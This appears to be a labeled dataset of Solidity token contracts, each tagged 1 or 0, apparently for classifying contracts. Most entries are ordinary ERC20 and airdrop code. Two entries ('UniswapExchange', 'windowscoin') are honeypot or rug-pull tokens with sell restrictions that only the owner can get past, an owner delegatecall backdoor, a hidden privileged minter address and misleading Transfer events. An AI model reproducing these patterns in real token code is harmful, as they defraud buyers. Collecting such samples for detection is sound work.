&& _value > 0
);
balances[_from] -= _value;
balances[_to] += _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 5,547 |
pragma solidity ^0.4.24;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EdenCoin is IERC20 {
using SafeMath for uint256;
address private deployer;
address private multisend = 0xB76a20D5d42c041593DF95D7d72b74B2543824f9;
string public name = "Eden Coin";
string public symbol = "EDN";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 1000000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1537164000 || msg.sender == deployer || msg.sender == multisend);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1537164000);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 1 | 5,164 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,548 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract windowscoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,013 |
pragma solidity ^0.4.21;
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256 _user){}
function transfer(address to, uint256 value) public returns (bool success){}
function allowance(address owner, address spender) public view returns (uint256 value){}
function transferFrom(address from, address to, uint256 value) public returns (bool success){}
function approve(address spender, uint256 value) public returns (bool success){}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint c = a + b;
assert(c>=a);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
}
contract OnlyOwner {
address public owner;
function OnlyOwner() public {
owner = msg.sender;
}
modifier isOwner {
require(msg.sender == owner);
_;
}
}
contract StandardToken is ERC20{
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event Minted(address receiver, uint256 amount);
function _transfer(address _from, address _to, uint256 _value) internal view returns (bool success){
require(_from != address(0) && _from != _to);
require(_to != address(0));
balances[_from] = balances[_from].safeSub(_value);
balances[_to] = balances[_to].safeAdd(_value);
return true;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2*32) returns (bool success)
{
require(_value <= balances[msg.sender]);
_transfer(msg.sender,_to,_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
require(_value <= _allowance);
require(balances[_to] + _value > balances[_to]);
_transfer(_from,_to,_value);
allowed[_from][msg.sender] = _allowance.safeSub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].safeAdd(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.safeSub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length == size + 4);
_;
}
}
contract XRT is StandardToken, OnlyOwner{
uint8 public constant decimals = 18;
uint256 private constant multiplier = billion*10**18;
string public constant name = "XRT Token";
string public constant symbol = "XRT";
string public version = "X1.0";
uint256 private billion = 10*10**8;
uint256 private maxSupply = multiplier;
uint256 public totalSupply = (50*maxSupply)/100;
function XRT() public{
balances[msg.sender] = totalSupply;
}
function maximumToken() isOwner returns (uint){
return maxSupply;
}
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
require(totalSupply <= maxSupply);
_;
}
function mint(address _to, uint256 _amount) isOwner canMint public returns (bool) {
uint256 newAmount = _amount.safeMul(multiplier.safeDiv(100));
require(totalSupply <= maxSupply.safeSub(newAmount));
totalSupply = totalSupply.safeAdd(newAmount);
balances[_to] = balances[_to].safeAdd(newAmount);
Mint(_to, newAmount);
Transfer(address(0), _to, newAmount);
return true;
}
function finishMinting() isOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
} | 1 | 5,448 |
pragma solidity ^0.4.23;
contract ERC223Interface {
uint public totalSupply;
uint8 public decimals;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
function transfer(address to, uint value, bytes data);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AirDrop is Ownable {
using SafeMath for uint256;
uint public airDropAmount;
mapping ( address => bool ) public invalidAirDrop;
address[] public arrayAirDropReceivers;
bool public stop = false;
ERC223Interface public erc20;
uint256 public startTime;
uint256 public endTime;
event LogAirDrop(address indexed receiver, uint amount);
event LogStop();
event LogStart();
event LogWithdrawal(address indexed receiver, uint amount);
constructor(uint256 _startTime, uint256 _endTime, uint _airDropAmount, address _tokenAddress) public {
require(_startTime >= now &&
_endTime >= _startTime &&
_airDropAmount > 0 &&
_tokenAddress != address(0)
);
startTime = _startTime;
endTime = _endTime;
erc20 = ERC223Interface(_tokenAddress);
uint tokenDecimals = erc20.decimals();
airDropAmount = _airDropAmount.mul(10 ** tokenDecimals);
}
function tokenFallback(address _from, uint _value, bytes _data) {}
function isValidAirDropForAll() public view returns (bool) {
bool validNotStop = !stop;
bool validAmount = getRemainingToken() >= airDropAmount;
bool validPeriod = now >= startTime && now <= endTime;
return validNotStop && validAmount && validPeriod;
}
function isValidAirDropForIndividual() public view returns (bool) {
bool validNotStop = !stop;
bool validAmount = getRemainingToken() >= airDropAmount;
bool validPeriod = now >= startTime && now <= endTime;
bool validReceiveAirDropForIndividual = !invalidAirDrop[msg.sender];
return validNotStop && validAmount && validPeriod && validReceiveAirDropForIndividual;
}
function receiveAirDrop() public {
require(isValidAirDropForIndividual());
invalidAirDrop[msg.sender] = true;
arrayAirDropReceivers.push(msg.sender);
erc20.transfer(msg.sender, airDropAmount);
emit LogAirDrop(msg.sender, airDropAmount);
}
function toggle() public onlyOwner {
stop = !stop;
if (stop) {
emit LogStop();
} else {
emit LogStart();
}
}
function withdraw(address _address) public onlyOwner {
require(stop || now > endTime);
require(_address != address(0));
uint tokenBalanceOfContract = getRemainingToken();
erc20.transfer(_address, tokenBalanceOfContract);
emit LogWithdrawal(_address, tokenBalanceOfContract);
}
function getTotalNumberOfAddressesReceivedAirDrop() public view returns (uint256) {
return arrayAirDropReceivers.length;
}
function getRemainingToken() public view returns (uint256) {
return erc20.balanceOf(this);
}
function getTotalAirDroppedAmount() public view returns (uint256) {
return airDropAmount.mul(arrayAirDropReceivers.length);
}
} | 1 | 5,044 |
pragma solidity ^0.4.23;
library Roles {
struct Role {
mapping(address => bool) bearer;
}
function add(Role storage role, address addr) internal {
role.bearer[addr] = true;
}
function remove(Role storage role, address addr) internal {
role.bearer[addr] = false;
}
function check(Role storage role, address addr) view internal {
require(has(role, addr));
}
function has(Role storage role, address addr) view internal returns (bool) {
return role.bearer[addr];
}
}
contract RBAC {
address initialOwner;
using Roles for Roles.Role;
mapping(string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
modifier onlyOwner() {
require(msg.sender == initialOwner);
_;
}
function checkRole(address addr, string roleName) view public {
roles[roleName].check(addr);
}
function hasRole(address addr, string roleName) view public returns (bool) {
return roles[roleName].has(addr);
}
function addRole(address addr, string roleName) public onlyOwner {
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
function removeRole(address addr, string roleName) public onlyOwner {
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
modifier onlyRole(string roleName) {
checkRole(msg.sender, roleName);
_;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a - b;
assert(b <= a);
assert(a == c + b);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
assert(a == c - b);
return c;
}
}
contract PrimasToken is RBAC {
using SafeMath for uint256;
string public name;
uint256 public decimals;
string public symbol;
string public version;
uint256 public totalSupply;
uint256 initialAmount;
uint256 deployTime;
uint256 lastInflationDayStart;
uint256 incentivesPool;
mapping(address => uint256) private userLockedTokens;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Lock(address userAddress, uint256 amount);
event Unlock(address userAddress,uint256 amount);
event Inflate (uint256 incentivesPoolValue);
constructor(uint256 _previouslyInflatedAmount) public {
name = "Primas Token";
decimals = 18;
symbol = "PST";
version = "V2.0";
initialAmount = 100000000 * 10 ** decimals;
initialOwner = msg.sender;
deployTime = block.timestamp;
lastInflationDayStart = 0;
incentivesPool = 0;
totalSupply = initialAmount.add(_previouslyInflatedAmount);
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function inflate() public onlyRole("InflationOperator") returns (uint256) {
uint256 currentTime = block.timestamp;
uint256 currentDayStart = currentTime / 1 days;
uint256 inflationAmount;
require(lastInflationDayStart != currentDayStart);
lastInflationDayStart = currentDayStart;
uint256 createDurationYears = (currentTime - deployTime) / 1 years;
if (createDurationYears < 1) {
inflationAmount = initialAmount / 10 / 365;
} else if (createDurationYears >= 20) {
inflationAmount = 0;
} else {
inflationAmount = initialAmount * (100 - (5 * createDurationYears)) / 365 / 1000;
}
incentivesPool = incentivesPool.add(inflationAmount);
totalSupply = totalSupply.add(inflationAmount);
emit Inflate(incentivesPool);
return incentivesPool;
}
function getIncentivesPool() view public returns (uint256) {
return incentivesPool;
}
function incentivesIn(address[] _users, uint256[] _values) public onlyRole("IncentivesCollector") returns (bool success) {
require(_users.length == _values.length);
for (uint256 i = 0; i < _users.length; i++) {
userLockedTokens[_users[i]] = userLockedTokens[_users[i]].sub(_values[i]);
